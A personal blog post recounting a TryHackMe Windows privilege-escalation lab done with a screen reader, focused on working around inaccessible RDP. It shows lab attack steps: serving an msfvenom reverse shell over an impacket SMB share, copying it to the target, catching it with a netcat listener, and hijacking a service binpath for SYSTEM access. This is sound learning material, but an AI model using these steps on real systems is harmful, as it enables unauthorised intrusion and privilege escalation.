THM Windows PrivEsc box with a Screen Reader

Intro

This year, I have committed to learning more about cybersecurity. This has always been an interest of mine but I never could find the time and resources to properly level up on this particular topic. I do now, and it's been a lot of fun so far.

Through a bit of luck I got my hands on a voucher for TryHackMe which , together with the circumstances we're in right now, gave me the means to properly pursue this interest.

So far, I have been following the so-called “ Complete Beginner Learning Path” which essentially allows you to dip your toes into various aspects of this field. It covers things like basic networking, Linux fundamentals and simple vulnerability exploitation through little project-based, learn-as-you-go-style challenges called rooms, in which bite-sized helpings of theory are interspersed with exercises and attack simulations to put what you've just learned to use in a more practical setting.

Why this room in particular?

Most rooms so far, I have been able to complete successfully with a screenreader without doing all that much to dodge around accessibility restrictions. The only time this came up was when using an actual GUI tool to analyze web traffic, and I'm sure I'll add a write-up of that particular room one day as well. This room however had me scratching my head for a minute, because your only starting point in is RDP, which is completely inaccessible as it only passes along bitmaps of the target machine, no actual info a screen reader can do anything with. I managed to dodge around it, and the way I describe it here is obviously not a pleasant way of working at all. RDP , for blind hackers, should probably always be an absolute last resort, preferring almost anything over actually using this as a way in. What follows next is what would happen if you have absolutely no other recourse left, and is not representative of how difficult hacking is for screenreader users in general. The majority of things I have come in contact with so far, including web application hacking and wireless packet analysis, is easier and more doable by several orders of magnitude given the right tools are used, many of which are industry standard.

The actual write-up so the TLDR folks can quickly skip to this part

As a point of principle, I am not going to be adding screenshots to these posts. There's a dime a dozen posts on Medium that do this already, and the target audience of this post either won't find them useful anyway, or will have to deal with the fact I am forcing the reader immersion into my workflow by only giving them information I myself have access to. That inadvertently means this is a bit of a wall of text. Ehh ...sorry about that :) Anyway, here we go.

Initial Foothold: Oh no RDP!

I'm sure I could have ran metasploit against this box, set it to look for vulnerabilities, get a coffee and come back to it having exploited, owned, neutralized and packed up the box for shipping, but where's the fun in that? Fortunately, we only really need the GUI for a very brief interval on this particular engagement. RDP is not a good attack vector for a blind person to depend on as you'll soon discover, but hey, living off the land and all that. The first thing I tried was to use the browser-based attackbox THM offers you to RDP into the machine. To my delight, sound actually works on these by default which probably means I can install Orca on it and have it talk to me, but something for another time. TODO: Poke someone at THM about having it be installed by default so I don't have to write a BASH script to do it for me; these boxes only stay up a couple of hours at a time. I quickly noticed that using NVDA's OCR feature on the output of the browser-based machine just wasn't going to work; there were too many recognition errors to really make anything of the output so I quickly abandoned that idea. Next idea: I am running Windows, the box is running Windows, the protocol is RDP. I should just be able to use Remote Desktop to log in, maybe that gives us a clearer picture. I'd have to hook up to the VPN, but that's doable enough. This thing where at times I need to use two operating systems in tandem isn't new, in my dayjob as a developer this happens all the time as well.

It ... does work better, actually. After logging in, and getting myself stuck because I wasn't aware ctrl+alt+break of all things is how you stop sending input to the remote session, the OCR results are quite a bit clearer. Still garbage, but lego-brick-shaped garbage we can actually do something with, kinda.

Us screenreader users have to pretty much depend on keyboard shortcuts for the majority of things, so opening up a commandline blind (heh) is something I don't even have to think about. Windows+r, cmd, RET. crickets We need to verify if it actually worked, as there is no screenreader feedback whatsoever while this is happening.

Ctrl+alt+break, nvda+r:

 Rec)/de B Select C:\Windows\system32\CMD.e><e AdminPai PrivESC ~ Shoncw Microsoft Windows [Version 10.6.17763.737] (C) 2618 Microsoft Corporation. All rights reserved C: \Users\user>‘

I know that looks horrid. I'm not going to clean it up. That is what I got back, that's what I'll have to deal with. What do we know from this?

Now, all we really need to do here is make sure we get the msfvenom-generated reverse shell over to this box, so we can stop messing around with garbled OCR results and actually get some work done. The idea to use SMB for this, as the room suggests, seems as good a one as any, so let's do that. On the attacking machine:

 python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

Some explanatory output is returned, the server is just hanging out where we told it to, so now the fun part begins. We actually need to perform a command on the remote session to grab our little innocent reverse.exe. I'm sure that just flips strings around. Yes ...that is most certainly what it does, it's great fun. ;) There's a few ways to paste into a Windows commandline window. There's the system menu's edit submenu, there's a right-click in the right spot, and there's plain old ctrl+v which doesn't always work. A quick check, I'll spare you the garbled mess this time, reveals that ctrl+v does work in this case.

This is good since it means we can make sure the command we are about to feed to the remote session is free of errors. Feedback in an RDP session is nonexistent, so we can't see what we're typing, but we can write the command somewhere else and paste it in there with ctrl+v. Pay attention, there's a quiz on these later. ;)

On the remote Windows box:

 copy \\10.10.59.243\kali\reverse.exe .

And again, ctrl+alt+break, NVDA+r:

 C \Users\user>copy \\10.10.59.243\kali\reverse.exe 1 file(s) copied C:\Users\user>_ <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> <DIR> Rec)/C|9 B C:\Windows\system32\cmd.exe C \Users\user>copy \\10.10.59.243\kali\reverse.exe The network path was not found. 3D Objects Contacts Desktop Documents Downloads Favorites Links Music Pictures Saved Games Searches Videos 0 File(s) 0 bytes 14 Dir(s) 30,835,068,928 bytes free == /O Type here to Search O Q' _M ><

I have to point out that I am writing this as I'm doing it, and throughout doing that I lost the machine for a while so had to retrace my steps. The output is entirely in the wrong order; my smb server on the attack box didn't properly come up the first time which is why copy initially didn't work, but we can see in that horrible mess that we managed to copy the file. Hurray, we almost have a real shell. And yes, I use that term scathingly, because heck, netcat is better than this.

Speaking of netcat, all we now really need to do is make sure to run reverse.exe, which shouldn't give us any output. Just imagine I did that, right after starting a netcat listener for it to reverse-shell its way into:

 root@kali:~# nc -lvp 5300
listening on [any] 5300 ...
connect to [10.10.59.243] from ip-10-10-28-85.eu-west-1.compute.internal [10.10.28.85] 49778
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\user>

Woohoo! No more garble garble. We can actually perform the actions we need to do to complete the room from here on out. Now for the people watching at home, I deviated from the room in two minor ways to essentially cover my behind in case this would've gone south:

Rest of the tasks

I might as well finish this up while I'm here. This isn't a walkthrough per se, more of a “yo, this is what I ran into” stream-of-consciousness kind of post. I will briefly describe my subsequent steps, unless we run into another fun accessibility challenge of course.

The task we just did was task 2, which is the simplest task in the room. Go figure :) Task 3 requires us to first copy to the c:\privesc folder which conveniently holds a bunch of privilege escalation tools for us. Thanks, VM creators, saves me a few downloads :)

The room takes us through checking a service's access rights for the given user, and then through changing the binpath to our reverse.exe shell which then connects to a second netcat listener on the same port in order to give us a netcat shell with local system privileges. No real accessibility hurdle here, apart from needing to make very sure you get the binpath invocation exactly right, spacing and all. Use at least “most” for a screen reader's punctuation setting or go character by character. Or use braille, which makes all of this SO much easier.

This remains true for the following tasks. All of it is commandline-based, even the registry can be efficiently queried using the commandline. In my case there was a hurdle in the fact that there were no creds in the winLogon registry key where there were supposed to be some, but winPeas to the rescue there in combination with one of the privilege escalation methods we already covered to get system-level privileges. Cheating just a little, I'm aware.

Two more tricky bits happened throughout this particular room:

Extra Credit

There are screenreaders out there that have the ability to perform their own brand of remote access. This, chiefly, because the existing ones just flat out don't work very well. Generally they use a server somewhere as a go-between, relying on an almost Teamviwer-like exchange of keys to connect to each other. If you feel you can get away with storing a preconfigured copy of such a screenreader on the target, it should theoretically be relatively painless to set up a connection to that copy and do the RDP stuff that way. Obviously that would make the target system spit out a whole bunch of TTS chatter over the default audio device before you have a chance to kill the sound, so it's not exactly stealthy, but hey ...it's just another tool. :) For VMs, it might actually work better. For actual engagements ...ehh ...maybe not so much.

Conclusion

I won't lie. This room was frustrating, it was hard. It took way longer than it probably should have. Not because the material covered was particularly hard; it wasnt, not all that much in any case. It was hard because of all the extra effort to make sure the RDP parts go well, to make sure you don't accidentally kill the netcat listener with a careless ctrl+c as that means you have to do the same song and dance all over again. It was hard because I had to figure out some deviations from the instructions; creddump7 didn't work, I had to fall back to winPEAS to get a stored set of creds that I couldn't seem to find in the place they should've been. It was hard because the target would inexplicably go down now and again making me have to do the RDP process described above at least 5-6 times. I've gotten faster at it :) It was hard. I'm going to do it again. :)